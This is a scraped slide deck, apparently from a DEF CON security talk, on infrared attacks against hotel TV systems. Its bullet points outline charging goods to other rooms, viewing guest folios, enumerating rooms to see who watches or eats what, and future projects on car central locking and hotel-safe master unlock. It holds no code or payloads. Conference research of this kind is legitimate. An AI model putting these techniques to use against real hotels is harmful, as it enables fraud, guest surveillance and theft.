![Page 83: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/83.jpg)
![Page 84: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/84.jpg)
![Page 85: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/85.jpg)
![Page 86: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/86.jpg)
Hotel TV – New Capabilities
Assign to another room
View folio
Charge goods & services
![Page 87: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/87.jpg)
![Page 88: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/88.jpg)
![Page 89: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/89.jpg)
![Page 90: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/90.jpg)
![Page 91: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/91.jpg)
![Page 92: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/92.jpg)
![Page 93: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/93.jpg)
![Page 94: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/94.jpg)
![Page 95: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/95.jpg)
![Page 96: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/96.jpg)
Hotel TV – New Capabilities
Automated room enumeration
Digital camera
Simple shell script
irtrans - send addressing commands
gphoto2 – capture image
Increment room number
Thumbnail webpage
cthumb
![Page 97: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/97.jpg)
![Page 98: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/98.jpg)
Hotel TV – New Capabilities
Room enumeration
%age occupancy
Who's where
Who's eating, drinking & viewing what
For how long
![Page 99: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/99.jpg)
Hotel TV – Pay Per View
True Movies On Demand
Controller requests movie to start & assigns channel
Cyclic or Fixed Start Times
Controller retunes TV
Controller routes selected channel to AV
Controller switches off blocking signal
![Page 100: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/100.jpg)
![Page 101: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/101.jpg)
![Page 102: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/102.jpg)
![Page 103: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/103.jpg)
![Page 104: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/104.jpg)
![Page 105: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/105.jpg)
![Page 106: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/106.jpg)
![Page 107: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/107.jpg)
![Page 108: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/108.jpg)
Future Projects
Car Alarm / Central Locking
Moving towards RF
Likely to be carrier technology change only
Rolling codes
Hotel Safes
TVB-Gone
![Page 109: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/109.jpg)
Car Alarm / Central Locking
Simple reset sequence
![Page 110: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/110.jpg)
Hotel Safes
InfraRed Dongle
Master programming
Master Unlock / Reset
![Page 111: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/111.jpg)
![Page 112: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/112.jpg)
![Page 114: Introduction - DEF CON · PDF file · 2009-11-17Introduction Major Malfunction ... Central control / Billing Vending machines Programming / price changes On / Off duty Public display](https://reader031.vdocuments.mx/reader031/viewer/2022030417/5aa3b8a67f8b9a436d8e8c2c/html5/thumbnails/114.jpg)